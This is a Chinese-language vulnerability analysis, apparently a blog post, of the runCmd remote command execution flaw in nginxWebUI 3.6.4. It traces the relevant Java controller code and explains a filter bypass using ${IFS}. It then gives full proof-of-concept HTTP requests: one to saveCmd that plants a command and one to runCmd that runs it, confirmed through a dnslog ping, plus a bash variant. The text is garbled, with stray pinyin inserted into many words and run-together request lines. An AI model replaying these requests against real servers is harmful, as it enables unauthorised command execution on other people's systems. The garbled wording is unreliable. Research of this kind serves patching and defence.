
概述
nginxWebUI runCmd遠程命令執(zhí)行漏洞時間線:
- 5月19日 官方發(fā)布新版本(3.5.2)修復漏洞
- 5月26日 漏洞細節(jié)在安全社區(qū)(火線)公開披露
- 6月29 官方發(fā)布3.6.2 、3.6.3進一步修復runCmd遠程命令執(zhí)行漏洞
- 6月30 官方發(fā)布3.6.4 進一步修復runCmd遠程命令執(zhí)行漏洞
- 7月11 官方發(fā)布3.6.6 進一步修復runCmd遠程命令執(zhí)行漏洞
目前已跟進版本:

3.4.7-3.6.3版本代碼分析參考上一篇。
\nginxWebUI-3.6.4\src\main\java\com\cym\controller\adminPage\ConfController.java 330行

在這里runcmd接收2個參數(shù):cmd和type。先檢查type是否為空,不為空則調用settingService.set(type, cmd)使用配置文件的相關配置:

然后使用了if (!isAvailableCmd(cmd)) ,檢查cmd是否為有效的命令

跟一下!isAvailableCmd:366行

一個布爾類型私有方法,檢查cmd參數(shù)是否有效,過濾了獲取的所有路徑,檢查命令是否屬于以下命令:
符合返回true,否則返回false,并返回錯誤信息。然后將傳入的值進行處理,并且與nginxEXE參數(shù)進行判斷是否相等,即將命令與nginx 服務端執(zhí)行的命令進行對比。
隨后回到runcmd方法:然后是一個判斷系統(tǒng)為win或者linux,調用不同的系統(tǒng)命令。

然后對結果進行非空判斷和內(nèi)容正則。

3.6.4漏洞構造
根據(jù)前文代碼的分析,要繼續(xù)構造命令執(zhí)行,就必須傳入cmd參數(shù),且繞過isAvailableCmd中對 nginxDir和nginxExe的校驗。
我們找到了處理這兩個參數(shù)的saveCmd方法:272行

該方法接收三個參數(shù)nginxPath、nginxExe和nginxDir,在方法內(nèi)部調用ToolUtils.handlePath進行過濾處理,即黑名單的方式對以下空格和符號進行轉義替換。

在linux下,linux把${IFS}會被當做空格:

訪問nginxweibui

配置nginxExe參數(shù):即將isAvailableCmd中的nginxExe預設成我們將要執(zhí)行的命令。
POST /adminPage/conf/saveCmd HTTP/1.1
1.POST /adminPage/conf/saveCmd HTTP/1.1
2.Host: x.x.x.x:8080
3.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
4.Accept: application/json, text/javascript, */*; q=0.01
5.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6.Accept-Encoding: gzip, deflate
7.Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8.X-Requested-With: XMLHttpRequest
9.Content-Length: 47
10.Origin: http://x.x.x.x:8080
11.DNT: 1
12.Connection: close
13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd
14.Cookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
15.
16.nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1
命令執(zhí)行:

1.POST /adminPage/conf/runCmd HTTP/1.1
2.Host: x.x.x.x:8080
3.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
4.Accept: application/json, text/javascript, */*; q=0.01
5.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6.Accept-Encoding: gzip, deflate
7.Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8.X-Requested-With: XMLHttpRequest
9.Content-Length: 35
10.Origin: http://x.x.x.x:8080
11.DNT: 1
12.Connection: close
13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd
14.Cookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
15.
16.cmd=ping${IFS}22dck7.dnslog.cn -c 1
Dnslog返回成功。

其他命令:
POST /adminPage/conf/saveCmd HTTP/1.1
Host: xxxnginxExe=bash${IFS}&nginxPath=ls
POST /adminPage/conf/runCmd
HTTP/1.1Host: xxxx